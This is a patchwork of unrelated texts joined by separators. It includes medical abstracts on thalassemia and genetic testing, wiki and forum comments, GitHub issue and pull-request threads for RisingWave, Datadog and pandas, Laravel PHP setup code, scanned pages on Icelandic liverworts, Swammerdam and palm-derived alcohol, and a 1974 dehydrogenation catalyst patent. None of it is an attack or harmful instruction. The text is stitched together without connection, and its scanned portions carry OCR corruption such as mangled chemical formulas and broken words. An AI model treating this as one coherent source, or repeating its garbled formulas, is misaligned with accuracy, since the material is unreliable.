Group III included patients having serum ferritin level more than 5000 ng/ml. This group consisted of 13 patients. All patients having serum ferritin below 2500ng/ml had normal systolic function, and only 16% of the patients in this group had diastolic dysfunction as reflected by abnormal E/A ratio. In group II, 27% of the patients had systolic dysfunction reflected by subnormal ejection fraction while 40% of the patients had diastolic dysfunction. In group III, 62% of the patients had abnormal systolic and diastolic function. Pearson correlation was used to find a correlation between serum ferritin and left ventricular function. A strong negative correlation was found which is reflected by a p value of less than 0.05 which is significant. Chi square test is used to correlate serum ferritin with E/A ratio. P value came out to be less than 0.05 which is significant.
Keywords: beta thalassemia major, left ventricular function, serum ferritin, transfusion dependence
Procedia PDF Downloads 109
3 Central Vascular Function and Relaxibility in Beta-thalassemia Major Patients vs. Sickle Cell Anemia Patients by Abdominal Aorta and Aortic Root Speckle Tracking Echocardiography
Authors: Gehan Hussein, Hala Agha, Rasha Abdelraof, Marina George, Antoine Fakhri
Abstract:
Background: β-Thalassemia major (TM) and sickle cell disease (SCD) are inherited hemoglobin disorders resulting in chronic hemolytic anemia. Cardiovascular involvement is an important cause of morbidity and mortality in these groups of patients. The narrow border is between overt myocardial dysfunction and clinically silent left ventricular (LV) and / or right ventricular (RV) dysfunction in those patients. 3 D Speckle tracking echocardiography (3D STE) is a novel method for the detection of subclinical myocardial involvement. We aimed to study myocardial affection in SCD and TM using 3D STE, comparing it with conventional echocardiography, correlate it with serum ferritin level and lactate dehydrogenase (LDH). Methodology: Thirty SCD and thirty β TM patients, age range 4-18 years, were compared to 30 healthy age and sex matched control group. Cases were subjected to clinical examination, laboratory measurement of hemoglobin level, serum ferritin, and LDH. Transthoracic color Doppler echocardiography, 3D STE, tissue Doppler echocardiography, and aortic speckle tracking were performed. Results: significant reduction in global longitudinal strain (GLS), global circumferential strain (GCS), and global area strain (GAS) in SCD and TM than control (P value <0.001) there was significantly lower aortic speckle tracking in patients with TM and SCD than control (P value< 0.001). LDH was significantly higher in SCD than both TM and control and it correlated significantly positive mitral inflow E, (p value:0.022 and 0.072. r: 0.416 and -0.333 respectively) lateral E/E’ (p value.<0.001and 0.818. r. 0.618 and -0. 044.respectively) and septal E/E’ (p value 0.007 and 0.753& r value 0.485 and -0.060 respectively) in SCD but not TM and significant negative correlation between LDH and aortic root speckle tracking (value 0.681& r. -0.078.). The potential diagnostic accuracy of LDH in predicting vascular dysfunction as represented by aortic root GCS with a sensitivity 74% and aortic root GCS was predictive of LV dysfunction in SCD patients with sensitivity 100% Conclusion: 3D STE LV and RV systolic dysfunction in spite of their normal values by conventional echocardiography. SCD showed significantly lower right ventricular dysfunction and aortic root GCS than TM and control. LDH can be used to screen patients for cardiac dysfunction in SCD, not in TM
Keywords: thalassemia major, sickle cell disease, 3d speckle tracking echocardiography, LDH
Procedia PDF Downloads 28
2 The Need for a Consistent Regulatory Framework for CRISPR Gene-Editing in the European Union
Authors: Andrew Thayer, Courtney Rondeau, Paraskevi Papadopoulou
Abstract:
The Clustered Regularly Interspaced Short Palindromic Repeats (CRISPR) gene-editing technologies have generated considerable discussion about the applications and ethics of their use. However, no consistent guidelines for using CRISPR technologies have been developed -nor common legislation passed related to gene editing, especially as it is connected to genetically modified organisms (GMOs) in the European Union. The recent announcement that the first babies with CRISPR-edited genes were born, along with new studies exploring CRISPR’s applications in treating thalassemia, sickle-cell anemia, cancer, and certain forms of blindness, have demonstrated that the technology is developing faster than the policies needed to control it. Therefore, it can be seen that a reasonable and coherent regulatory framework for the use of CRISPR in human somatic and germline cells is necessary to ensure the ethical use of the technology in future years. The European Union serves as a unique region of interconnected countries without a standard set of regulations or legislation for CRISPR gene-editing. We posit that the EU would serve as a suitable model in comparing the legislations of its affiliated countries in order to understand the practicality and effectiveness of adopting majority-approved practices. Additionally, we present a proposed set of guidelines which could serve as a basis in developing a consistent regulatory framework for the EU countries to implement but also act as a good example for other countries to adhere to. Finally, an additional, multidimensional framework of smart solutions is proposed with which all stakeholders are engaged to become better-informed citizens.
Keywords: CRISPR, ethics, regulatory framework, European legislation
Procedia PDF Downloads 45
1 Analytical Validity Of A Tech Transfer Solution To Internalize Genetic Testing
Authors: Lesley Northrop, Justin DeGrazia, Jessica Greenwood
Abstract:
ASPIRA Labs now offers an en-suit and ready-to-implement technology transfer solution to enable labs and hospitals that lack the resources to build it themselves to offer in-house genetic testing. This unique platform employs a patented Molecular Inversion Probe (MIP) technology that combines the specificity of a hybrid capture protocol with the ease of an amplicon-based protocol and utilizes an advanced bioinformatics analysis pipeline based on machine learning. To demonstrate its efficacy, two independent genetic tests were validated on this technology transfer platform: expanded carrier screening (ECS) and hereditary cancer testing (HC). The analytical performance of ECS and HC was validated separately in a blinded manner for calling three different types of variants: SNVs, short indels (typically, <50 bp), and large indels/CNVs defined as multi-exonic del/dup events. The reference set was constructed using samples from Coriell Institute, an external clinical genetic testing laboratory, Maine Molecular Quality Controls Inc. (MMQCI), SeraCare and GIAB Consortium. Overall, the analytical performance showed a sensitivity and specificity of >99.4% for both ECS and HC in detecting SNVs. For indels, both tests reported specificity of 100%, and ECS demonstrated a sensitivity of 100%, whereas HC exhibited a sensitivity of 96.5%. The bioinformatics pipeline also correctly called all reference CNV events resulting in a sensitivity of 100% for both tests. No additional calls were made in the HC panel, leading to a perfect performance (specificity and F-measure of 100%). In the carrier panel, however, three additional positive calls were made outside the reference set. Two of these calls were confirmed using an orthogonal method and were re-classified as true positives leaving only one false positive. The pipeline also correctly identified all challenging carrier statuses, such as positive cases for spinal muscular atrophy and alpha-thalassemia, resulting in 100% sensitivity. After confirmation of additional positive calls via long-range PCR and MLPA, specificity for such cases was estimated at 99%. These performance metrics demonstrate that this tech-transfer solution can be confidently internalized by clinical labs and hospitals to offer mainstream ECS and HC as part of their test catalog, substantially increasing access to quality germline genetic testing for labs of all sizes and resources levels.
Keywords: clinical genetics, genetic testing, molecular genetics, technology transfer
Procedia PDF Downloads 67
|
Thread:TheProjectXZoneFan1997/@comment-1899606-20190107091343/@comment-25995041-20190221215522
No need to worry about the progress, it's done (finally), hope you like it.
|
frontend: refactor source schema resolution
Generally, there're multiple sources of truth for the catalog derived from a CREATE SOURCE or CREATE TABLE statement.
Column definitions and the constraints on them. key INT PRIMARY KEY
Table definitions. PRIMARY KEY (key)
Properties along with the row format. ROW SCHEMA LOCATION '..'
Given a parsed CREATE statement, it seems not that intuitive to decide the order of the steps for resolving each of them. In the current implementation, we...
bind column definitions without constraints
bind PRIMARY KEY column constraints
bind PRIMARY KEY table constraint
generate a row_id column if necessary
resolve source schema
check if valid according to the connector type
may add extra columns (for example, debezium mongo json)
may direct overwrite or discard the binding results so far (😨), according to the connector type
bind GENERATED column constraints (since we just have all columns resolved)
It's obvious to see that the procedure is somehow complicated and can be confusing, especially for step 5 which is too ad-hoc. Here I propose we let step 5 directly operate on the AST structure ahead of time, making all other binding steps work on an immutable and final CREATE statement AST. The advantages could be...
split the logic of resolving source schema and binding columns completely, making life much easier (#9513, #9584, and so on..)
avoid manipulating columns manually, which bypasses ColumnIdGenerator and can be problematic if we support ALTER TABLE with connector (https://github.com/risingwavelabs/risingwave/pull/7972#issuecomment-1458003471)
normalize data types from all external systems into the types which are able to be represented in PostgreSQL syntax, to avoid compatibility issues
based on the above, further support features like SHOW CREATE TABLE my_external_catalog.my_table (#8603)
unparse back to a "pure" SQL, so that we can persist the definition and reuse it in the future safely
Feel free to comment. cc @tabVersion @st1page @xiangjinwu @yuhao-su
LGTM
progress:
https://github.com/risingwavelabs/risingwave/pull/10307
https://github.com/risingwavelabs/risingwave/pull/10192
https://github.com/risingwavelabs/risingwave/pull/10195
Is it finished?
Is it finished?
I think not
|
/SWAPFILE hibernate on DELL XPS Ubuntu 18.04?
I have Dell XPS which I bought with linux configured. It uses /swapfile. I would like to enable hibernate. Have tried method described in How can I hibernate on Ubuntu 16.04? but I just get a (slightly damaged - chrome crashes and must be started twice - at which point it offers to restore) clean reboot.
I changed /etc/default/grub to contain
GRUB_CMDLINE_LINUX_DEFAULT="no_console_suspend initcall_debug resume=/dev/nvme0n1p3 resume_offset=34816"
(34816 was appropriate for me as well as the example)
dmesg seems OK
Any ideas?
--Len
How big is your RAM? SWAP? Install the pm-tools package, do dpkg -L pm-tools. Read the man pages, all the UPPERCASE filenames, and anything else that looks good.
pm-tools is not in ubuntu repository. RAM 16GB, SWAP 32GB
|
[CWS] handle more events before the etw channel
What does this PR do?
The ETW channel is one of the bottlenecks of the FIM for windows currently. This PR moves the handling of rename pre args events to be before the channel altogether, ensuring those events do not fill up the chan.
This PR also moves the log to debug when handling unknown types since we don't want to spam users with this.
Motivation
Describe how to test/QA your changes
Possible Drawbacks / Trade-offs
Additional Notes
/merge
/merge
/merge
|
Thread:<IP_ADDRESS>/@comment-22439-20121007120629
Hi, welcome to The Tekkit Wiki! Thanks for your edit to the Turtles page.
Please leave me a message if I can help with anything!
|
426 A. HESSELBO
(Grl.)!; Esja!. common up to about 400 metres above sea-level; Hafnar fjordur!. S. Iceland: Krisuvik (Stp.)!; Krokr (H. J.)!; Almannagja!; Holt!; Seljaland!; Austerhlid near Geysir!.
This species has its main distribution in E. and SW. Iceland and it has not been found in NW. Iceland. It grows especially on wet rocks and often in the water itself, but also on gravelly soil along the margin of streams. Thus, near Seydisfjordur it occurred abundantly along several rivers. In such localities it forms extensive reddish brown cushions several centimetres deep.
On damp soil and on rocks it forms low cushions, green, rose-red or reddish-brown in colour. In the lava-fields near Hafnarfjordur and Thingvellir and in Stora Gja it usually grew at the bottom of the com paratively dry caves and clefts in small, flat tufts of a peculiar yellowish-green or beautiful rose-red colour. Such forms from com paratively dry localities have always deeply-toothed leaves while the aquatic forms have less deeply-toothed, sometimes almost entire leaves, in which feature they approach S. undiilata very closely. The cell-walls are however always more highly thickened than in the latter species, especially .at the angles, and the postical lobe of the leaves are longer and narrower obovate (in S. midnlata almost circular). $ plants and fruit are of frequent occurrence.
also on inundated ground in swamps and moss bogs.
This plant occurs most frequentty in the low land up to about 300 metres, and forms there, especially creeping over stones in the shallow water along rivers, extensive growths in association with Chilo scyphns polyanthus var. fragilis and Haplozia cordifolia. Not rarely it is also met with at higher levels, for instance near Dyrafjordur, where it grew abundantly on slopes irrigated by melting snow, 400 500 metres above sea-level; and near Holt below Eyjafjall, where it was found abundantly in a stream even at an altitude of about 600 metres. The aquatic forms are usually green; in swamps and moss bogs it often forms extensive, thick carpets, reddish-brown or almost purple in colour. It is frequently found in fruit.
The leaves are entire or have a few obtuse teeth at the margin, but forms sometimes occur with more deeply toothed leaves or even with the leaf-margin entirely toothed, in the latter case it may be difficult to distinguish the plant from S. di'ntata and from the large aquatic forms of S. irrigua. The latter, however, have always cells more thick-walled especially at the angles, while S. undulata has always thin walled leaf-cells.
Common on rocks coated with soil, damp sandy or gravelly Around and on peat, occasionally also on boggy ground up to about 400 metres above sea-level. Near Isafjordur and in Esja it was collected at an
|
JOHN SWAMMERDAM. 131
unable to find a purchaser in France. He then had recourse to another friend, Nicolas Steno, who had abjured the Protestant faith and was living at Flo rence, and whom he requested to represent the mat ter to the Grand Duke of Tuscany, in case he might feel disposed to purchase them. This person ad vised him to follow his example, relinquish his creed, embrace the Catholic faith, and proceed to Florence, promising that he should induce the duke to accept the offer. Swammerdam replied indignantly, that he would not sell his soul for money.
Being without any fixed occupation, he devoted his leisure to arranging and cleaning the contents of his museum, and writing out a catalogue of them. They consisted of anatomical preparations and insects, of the latter of which there were nearly three thou sand distinct species. These were all described and arranged into classes, and the entire structure of many of them had been demonstrated by the most minute dissection. He then published his Treatise on the Ephemeris, which he had commenced when in France, and which is considered as one of the most remarkable productions of any age. He did not^ however, venture upon this step without consulting Bourignon. These arrangements completed, he now determined in earnest to lead a holy life, and being desirous of a personal consultation with his direct ress, he went to Hoi stein, where he remained with her some time. On returning to Amsterdam, he again endeavoured to dispose of his museum, but without success ; and his sister, who had hitherto presided over the domestic establishment, happening at this time to be married^ his father resolved upon
|
String
Obtaining
String can be obtained from drops and fishing, and can be looted from jungle temples and dungeons.
Breaking
Tripwire can be instantly with any tool, dropping string.
Tripwire will also be removed and drop string as an item:
* if water flows into its space
* if a piston tries to push it or moves a block into its space
Tripwire will be destroyed without dropping string if lava flows into its space.
Cobwebs
Drops
Spiders and cave spiders drop up to two pieces of string upon death.
Fishing
String can be obtained by fishing.
Natural generation
Five pieces of tripwire generate naturally in every jungle temple.
Gift
Tamed cats have a chance of giving the player string as a gift.
Usage
Trading
Fisherman and fletcher villagers will buy 15-20 string for an emerald.
Redstone component
Tripwire can be used to detect entities as part of a tripwire circuit.
* Placement
* Activation
* Behavior
Block data
In Bedrock Edition, tripwire uses the following data values:
Gallery
Faden Hilo Ficelle Fonál Cordicella 糸 줄 Draad Nić pt-br:Linha Нить Нитка 线
|
added axvlines_color parameter to parallel_coordinates
parallel_coordinates are in pandas.tools.plotting
'black' color was hard-coded for vertical lines, I suggest to make it an option
@TomAugspurger @sinhrks ?
No strong opinion here. It's an easy addition but I don't think our parallel coordinate plot is worth expanding.
On Oct 11, 2015, at 10:56, Jeff Reback<EMAIL_ADDRESS>wrote:
@TomAugspurger @sinhrks ?
—
Reply to this email directly or view it on GitHub.
should we deprecate parallel_coordinates ? (is their a direct replacement say in seaborn/mpl/bokeh)? can we simply dispatch?
No replacement in seaborn / mpl. The best I've seen is here.
Though we don't set a high value on maintaining other plotting funcs than .plot method, this kind of small fix looks OK to be applied. Otherwise, may better to deprecate it as unmaintained.
ok can u add a test, make sure the keyworkd are added in the .plot accessor and add a whatsnew note
Hi guys!
Sorry for the late reply - was traveling a little bit
Thank you for considering my request!
Ehm.... how about passing keyword arguments for avx line potting insted of
just color?
Because well, I needed another color - somebody else might need another
line thickness etc
can make it like this:
def parallel_coordinates(frame, class_column, cols=None, ax=None,
color=None,
use_columns=False, xticks=None, colormap=None,
axvlines=True,
axvlines_kwds={'linewidth':1,'color':'black'}, **kwds):
the default {'linewidth':1,'color':'black'}, ensure that backward
compatibility
Cheers!
Alex
2015-10-19 1:34 GMT+09:00 Jeff Reback<EMAIL_ADDRESS>
ok can u add a test, make sure the keyworkd are added in the .plot
accessor and add a whatsnew note
—
Reply to this email directly or view it on GitHub
https://github.com/pydata/pandas/pull/10709#issuecomment-149028586.
Oh, right, I already committed this :)
Anyway, just wanted to add the parallel_coordinates is useful in Pandas - at least I did not see any other "out of the box" alternatives
@undertherain ok this is fine. can you squash. ping when done.
actually, pls add a whatnew note (enhancement section), use this PR number as the issue number
I added the whatsnew note with issue number
but for the "squashing" I can use some hint
@undertherain See here for some explanation: http://pandas-docs.github.io/pandas-docs-travis/contributing.html#combining-commits
@jorisvandenbossche yep, I've just got a bit confused as I made few changes, than merged with main version than make few more changes. Anyway, I hope I sorted it out and it should be ready now!
@jreback oh, in case github doesn''t send notifications to people in the thread not being mentioned explicitly - ping.
merged via https://github.com/pydata/pandas/commit/4b6fcc08f7831c2a59d75534f47a078120dac284
thanks!
|
<?php namespace App\Http\Controllers;
use Artisan;
use App\User;
use Illuminate\Http\Request;
use Auth;
use App\Http\Controllers\Controller;
use Illuminate\Contracts\Auth\Guard;
use Illuminate\Contracts\Auth\Registrar;
use Illuminate\Foundation\Auth\AuthenticatesAndRegistersUsers;
use Illuminate\Support\Facades\DB;
class SetupController extends Controller {
public function __construct(Guard $auth, Registrar $registrar)
{
$this->auth = $auth;
$this->registrar = $registrar;
$this->middleware('guest');
}
public function index(Request $request)
{
if (schema_already_setup() && User::count() != 0)
{
abort(404);
}
if(!schema_already_setup())
{
return view('setup.schema');
}
if(User::count() == 0)
{
return view('setup.create_admin');
}
}
public function schema(Request $request)
{
if(schema_already_setup())
{
abort(404);
}
Artisan::call('migrate', array('--force' => true));
return view('setup.schema_created');
}
public function createAdmin()
{
if(User::count() == 0)
{
return view('setup.create_admin');
}
else
{
abort(404);
}
}
public function admin(Request $request)
{
if(schema_already_setup() && User::count() != 0)
{
abort(404);
}
//Create user
$validator = $this->registrar->validator($request->all());
if($validator->fails())
{
$this->throwValidationException(
$request, $validator
);
}
$this->auth->login($this->registrar->create($request->all()));
if(DB::table('roles')->where('name','admin')->count() == 0)
{
create_roles_and_permissions();
}
//Add admin role
$authUser = Auth::user();
$roleNewUser = DB::table('roles')->where('name', 'admin')->first();
if (!is_null($authUser) && !is_null($roleNewUser))
{
$authUser->attachRole($roleNewUser->id);
}
//Create admin
return redirect("/home");
}
}
|
<?php
namespace App\Http\Requests;
use App\Http\Requests\Request;
class CreateUserRequest extends Request
{
/**
* Determine if the user is authorized to make this request.
*
* @return bool
*/
public function authorize()
{
return true;
}
/**
* Get the validation rules that apply to the request.
*
* @return array
*/
public function rules()
{
// https://laravel.com/docs/5.2/validation#available-validation-rules
return [
'username' => 'required|unique:users,username|min:3|max:50',
'first_name' => 'required|min:2|max:255',
'last_name' => 'required|min:2|max:255',
'email' => 'required|email|unique:users,email',
'password' => 'required|min:6|same:password_confirmation',
'password_confirmation' => 'required|min:6|same:password',
'role_id' => 'required'
];
}
public function messages()
{
return [
'username.required' => 'Required',
'username.unique' => 'Already taken',
'username.min' => 'Minimum 3 characters',
'username.max' => 'Maximum 50 characters',
'first_name.required' => 'Required',
'first_name.min' => 'Minimum 2 characters',
'first_name.max' => 'Maximum 255 characters',
'last_name.required' => 'Required',
'last_name.min' => 'Minimum 2 characters',
'last_name.max' => 'Maximum 255 characters',
'email.required' => 'Required',
'email.email' => 'Must be valid email',
'email.unique' => 'Already taken',
'password.required' => 'Required',
'password.min' => 'Minimum 6 characters',
'password.same' => 'Passwords must match',
'password_confirmation.required' => 'Required',
'password_confirmation.min' => 'Minimum 6 characters',
'password_confirmation.same' => 'Passwords must match',
'role_id.required' => 'Required'
];
}
}
|
Talk:Demon Box (book)
Though it is a long time since I have read the book I remember that the point of calling it Demon Box refers to a girl who has understood what "Maxwell's demon" is all about, and why Maxwell's thought experiment triggered a philosophical discussion relating to what properties life has. So if the story about the publisher's search for a name holds true there are at least one more explanation. However, the discussion about "Maxwell's Demon" is very high-brow and therefore probably not something which is good for marketing.
I am in need of a term to replace "Maxwell's daemon" discussion. The term needs to emphasize that Maxwell's demon does not exist (even if the Wikipedia article mentions experiments which seem to show that some concentration of energy may be obtained by a one-way wall), but is a thought experiment showing how energy may be extracted from air (gas) where the molecules move with different speeds (but temperature measurement of course show one temperature, low entropy) and that this thought experiment has triggered discussions about whether life (and consciousness) just is a phenomenon in physical matter or whether life creates higher entropy (Earth surface as such is an example of higher entropy obtained - or created - by life).
(TODO: Find the ref. in the book where the hospitalized girl explains the Demon Box)
--d-axel (talk) 07:45, 8 May 2012 (UTC)
|
234 EDITORIAL.
which contains neither starch nor sugar but a number of other ferment able carbohydrates of which inxilin and levulin are the principal con stituents has been highly recommended and rather extensively used in Germany for the manufacture of alcohol.'* At the present time alcohol is made on a large commercial scale from corn, rye, potatoes, sugar beets, sugar cane, and sugar-cane molasses. Rice has the largest percentage of starch among the cereals, Init it is not the cheapest source of alcohol. Indian corn, which hitherto has formed the chief raw material for fermentation and distillation, contains approximately 70 per cent of fermentable bodies and under the best conditions a kilo of corn will usually yield about 340 grams of alcohol (420 cubic centimeters of 95 per cent alcohol by volume at 15° C). If the average price of corn be placed at 3 centavos per kilo and the cost of manufacture, storage, profit, etc., be taken as an equal amount, industrial alcohol (95 per cent) from this source, untaxed, would sell wholesale for about 14 centavos a liter."
United States
Besides rice, Indian corn, and sugar cane, the available sources from which alcohol can be manufactured in this Archipelago are the sap of many palms and the cassava. At present nearly all of the alcohol produced comes from the bled sap of the nipa and other palms.' Alcohol from the nipa has a disagreeable odor whicli is somewhat difficult to remove, but for industrial piirposes this would be of no consequence. A description of this palm {Nipa fruticans Wurmb.) may be found iu many places.^ It is a species widely distributed all the way from India to Malaya, in northern Australia and Polynesia. A very detailed study of the culture and bleeding of this palm has been published by Ayala & Co.^
The nipa grows in low, salt-water 'tidal swamps and the plant is completely developed in about four years after planting the seed. The palms, fruit about every two years, at no particular season. When the tree is ready to bleed, the
° The following retail prices and annual consumption of denatured alcohol (approximately 95 per cent) are calculated from data given by R. F. Herrick {Teehnol. Quart. (1908), 21, 7 to 9):
'During the fiscal year 1907-8, the figures of the Bureau of Internal Revenue show that the production from all sources was equivalent to about 4J million liters of 95 per cent alcohol. There were practically no exports.
|
Dehydrogenation process and catalyst
ABSTRACT
An improved dehydrogenation process for the production of diolefins by the dehydrogenation of aliphatic hydrocarbons by contacting the hydrocarbon compound with a catalyst containing chromic oxide, alumina, and a sulfur containing compound such as sulfuric acid and sulfates of zinc magnesium and cobalt.
United States Patent 1191 Schwartz, Jr. et al.
[11] 3,835,199 1451 Sept. 10,1974
[ DEHYDROGENATION PROCESS AND CATALYST [75] Inventors: Andrew K. Schwartz, Jr., Houston;
Tony Rab ago, Jr., Pearland, both of Tex.
[73] Assignee: Petro-Tex Chemical Corporation,
Houston, Tex.
[22] Filed: Apr. 24, 1972 [21] Appl. No.: 246,683
[52] US. Cl. 260/683.3, 252/416, 260/680 R [51] Int. Cl. C07c 3/28 [58] Field of Search 260/683.3, 680 R, 680 E;
[56] References Cited UNITED STATES PATENTS 2,546,031 3/1951 Hanson 260/680 3,267,025 8/1966 G ring et a1 208/136 3,403,192 9/1968 Vadekar et al 260/680 E 3,585,250 6/1971 Pasternak et al. 260/683.3 3,665,049 5/1972 Cornelius 260/683.3
Primary Examiner-Delbert E. Gantz Assistant Examiner-Juanita M. Nelson Attorney, Agent, or Firm-N. Elton Dry 5? 4 ABSTRACT 7 Claims, No Drawings DEHYDROGENATION PROCESS AND CATALYST BACKGROUND OF THE INVENTION 1. Field of the Invention This application relates to the dehydrogenation of aliphatic organic compounds for the production of olefins and diolefins. More particularly, this application relates to improved catalytic compositions useful in the 1 2. Description of the Prior Art Organic compounds are commercially dehydrogenated by contacting the compound to be dehydrogenated at an elevated temperature preferably in the presence of catalysts. A particularly useful catalyst which has been widely employed in preparing butadiene and butylenes from n-butane is an aluminachromia catalyst. The alumina-chromic oxide catalyst is utilized in a commercial process for the one-step dehydrogenation of butane to butadiene and bute nes. This process has been reported to produce only about 11 'mol percent butadiene per pass. Furthermore, the catalyst becomes coated with coke and after a period of only several minutes, the catalyst must be regenerated by purging the catalyst bed followed by burning off of the carbon.
In an article entitled, Butane Dehydrogenation at Billingham, in Chemistry and Industry, Aug. 10, 1953, pp. 550-556, it was reported that excessive buildup of carbon in the alumina-chromia catalyst bed could be mitigated by doping the butane fed to the catalyst bed with from -40 ppm of carbon disulfide. It was further reported in Proceedings of the National Institute of Sciences of India, volume 12, pages 97-102 (1946), that in the dehydrogenation of butene-1 over an aluminachromia, the catalyst could be somewhat promoted in its activity by the addition of small amounts of sulfur thereto. However, the dehydrogenation products from the sulfur modified catalyst contained detrimental amounts of hydrogen sulfide.
SUMMARY OF .THE INVENTION According to the present invention organic, aliphatic compounds are dehydrogenated by an improved process utilizing a catalyst comprising alumina, chromium oxide and a sulfur containing compound. It has been found, quite unexpectedly that when a minor amount of a sulfur containing compound such as sulfuric acid,
zinc sulfate, magnesium sulfate and cobalt sulfate are incorporated into the alumina-chromium oxide catalyst, the resulting catalyst composition demonstrates significant improvements in yield of dehydrogenated products. For example, the prior art dehydrogenation of n-butane to bute nes and butadiene using chromiaalumina catalyst is quite satisfactory with respect to selectivity of the products produced, however, conversion usually falls significantly short of the thermodynamically possible equilibrium conversions. The present invention provides a catalyst having a significant and unexpected increase in activity which results in improved and significant increase in yield of the desired dehydrogenation products per pass in comparison to the yields obtained with the conventional chromiaalumina catalysts. Further, the selectivity of the chromia-alumina catalyst of the present invention is unexpectedly improved with respect to conventional chromia-alumina catalysts. For instance, yields of bute nes and butadiene from n-butane using a commercial chromia-alumina catalyst (Harshaw) to which has had added thereto small amounts of sulfuric acid were some 4.6 percent per pass greater than the corresponding yields obtained by using the commercial catalyst (Har- 0 shaw) without the added sulfuric acid.
DESCRIPTION OF THE PREFERRED EMBODIMENTS According to this invention an improved catalyst and a process utilizing the improved catalyst are provided for the dehydrogenation of aliphatic organic compounds to obtain the corresponding unsaturated derivatives thereof.
The process of this invention may be applied to the dehydrogenation of a variety of organic compounds having at least 2 carbon atoms to obtain the corresponding unsaturated derivative thereof. Such compounds normally will contain from 2 to 20 carbon atoms, at least one grouping, a boiling point below about 350C, and such compounds may contain other elements in addition to carbon and hydrogen such as oxygen, halogen, nitrogen and sulphur. Preferred are compounds having from 2 to 12 carbon atoms and especially preferred are compounds of 4 and 5 carbon atoms.
Among the types of organic compounds to be dehydrogenated to the corresponding unsaturated derivative by means of the process of this invention are nitriles,- alkyl halides, aldehydes, alcohols, cycloalkanes, alkanes, alkenes, and the. like. Illustrative dehydrogenations include propionitrile to acrylonitrile, propionaldehyde to acrolein, ethyl chloride to vinyl chloride, methyl isobutyrate to methyl methacrylate, ethane to ethylene, propane to propylene, isobutane to isobutylene, n-butane to butene and butadiene-1,3, methyl butene to isoprene, cyclopentane to cyclopentene and cyclopentadiene-l,3, and the like.
The preferred feed to be dehydrogenated comprises hydrocarbons of 4 to 5 carbon atoms and particularly n-butane, bute nel, butene-2, pentane, pentene-l pentene-2, Z-methylbutane, Z-methylbutene-l, 2- methylbutene-Z, 3-methylbutene-l, 2-methylpentane, 2-rnethylpentene-l and mixtures thereof. The preferred products are butadiene-1,3 and isoprene.
Diluents or stripping agents such as nitrogen, helium, or other gases may be fed to the process at any point. Mixtures of diluents may be employed. Volatile compounds which are not dehydrogenated or which are dehydrogenated only to a limited extent may also be present as diluents.
The temperature during the dehydrogenation generally will be at least about 450C, such as within the range of about 500C to about 650C or 700C. Preferably the temperatures are within the range of about 500C and 600C. The total pressure during dehydrogenation may be atmospheric, super atmospheric or sub atmospheric. The contact time of the organic compound during dehydrogenation may also vary widely depending upon the particular conditions employed. Determination of the optimum contact time under the particular conditions so chosen from the ranges of conditions mentioned herein is well within the skill of any artisan in this art. The flow rates will be within the range of about 0.1 to liquid volumes of the organic compound to be dehydrogenated per volume of dehydrogenation zone containing catalyst per hour (referred to as LHSV). Usually, the LHSV will be between 0.15 and about 5. For calculation, the volume of a fixed bed dehydrogenation zone containing catalyst is that original void volume of reactor space containing catalyst.
The catalyst of the present invention contains activated alumina, chromium oxide and a sulfur containing compound. A preferred catalyst comprises a minor portion of chromium oxide and a sulfur containing compound such as sulfuric acid, cobalt sulfate, magnesium sulfate and zinc sulfate with a major proportion of activated alumina such as gamma or eta alumina. The catalyst generally will contain as active catalyst components from one to forty percent chromium oxide, one to fifteen percent sulfur containing compound with the remainder being the activated alumina. A particularly preferred catalyst of the present invention contains as active ingredients from 18 to 20 percent chromium oxide, 3 to 10 percent sulfur containing compound with the remainder being gamma or eta alumina. The above percentages are based on the weight of active components in the catalyst, i.e., percent by weight of total chromium compounds, sulfur compounds and activated alumina. Carriers or supports for the active catalyst components may be employed such as pumice, silica, alpha alumina, etc. In addition, inert granular material of high heat capacity may be mixed with the active catalyst components in predetermined amounts to obtain any desired heat capacity of the complete catalyst bed. The selection of such an inert granular material and the ratio of granular inert material to the active catalyst components are well within the skill of an artisan in the catalytic dehydrogenation art.
The catalyst compositions of the present invention contain the essential ingredients of activated alumina, chromic oxide and a sulfur containing compound such as sulfuric acid, cobalt sulfate, magnesium sulfate and zinc sulfate. These essential ingredients can be made by mixing the separate ingredients by any of the methods known to those skilled in the art. For example, the alumina may be treated with a salt of chromium and the resulting mixture heated to decompose the salt and de posit chromium oxide on the alumina. The sulfur containing compound can be added to the aluminachromia component before or after the deposition of the chromium oxide on the alumina and the resulting mixture pelleted and dried, if necessary. A simple manner of preparing the catalyst of the present invention is to prepare a slurry of a commercially available chromia-alumina catalyst such as that available under the trade name of Houdry C or Harshaw Cr02ll and adding the sulfur containing compound thereto. The mixture is then pelleted and dried if necessary.
The alumina may be any of the known forms of al ui mina, although preferably it is an activated alumina such as gamma and eta alumina, so that a chromium oxide layer is readily deposited thereon. The aluminachromia dehydrogenation catalyst can also be prepared treating activated alumina with a solution of chromic acid and after drying, heating the treated activated alumina at temperatures of about 600C. Examples of the preparation of such catalyst materials are found in US. Pat. Nos. 2,399,678 and 2,419,997, the entire contents of which are incorporated. herein by reference.
EXAMPLES l-3 The invention is illustrated in these examples by the dehydrogenation of n-butane to bute nes and butadiene. In each example, the n-butane was passed through a catalyst bed comprising a standard alumina-chromia catalyst, obtained commercially under the trade name Houdry C or Harshaw Cr02ll, to which had been added a specific weight percent of a sulfur containing compound. The catalyst composition of Examples 1 and 2 contained 3 weight percent and 5 weight percent Zn SO -7H O respectively. The catalyst composition of Example 3 contained 5 percent by weight of H The catalysts were prepared by mixing the commercially available alumina-chromia catalyst material (Houdry C or Harshaw Cr02l l) with the Zn SO -7H O and H 80, respectively as a slurry in demineralized water. The mixed catalyst was extruded into pellets of about ,4; inch in size and the pellets were then dried in an oven at less than 300F. The catalyst could be calcined if desired, however, this is not necessary.
The n-butane gas consisting almost essentially of nbutane with trace amounts of isobutane and bute nes was passed through the catalyst bed at a temperature of approximately 550C a pressure of 22 inches mercury vacuum and at a space velocity of 1.25 LHSV. The process of these examples was conducted in a cyclic fashion wherein the n-butane was fed to the reactor for a specified time period, the reactor was then purged with nitrogen and then regenerated by passing air through the catalyst bed. The cycle was then repeated. The total time for a single cycle is as follows:
9 minutes feed of n-butane to the catalyst bed,
1 minute nitrogen purge of the catalyst bed,
9 minutes feed of air to the catalyst bed.
The results obtained after the specified number of hours of cyclic operation of Examples l and 2 are shown in Table I.
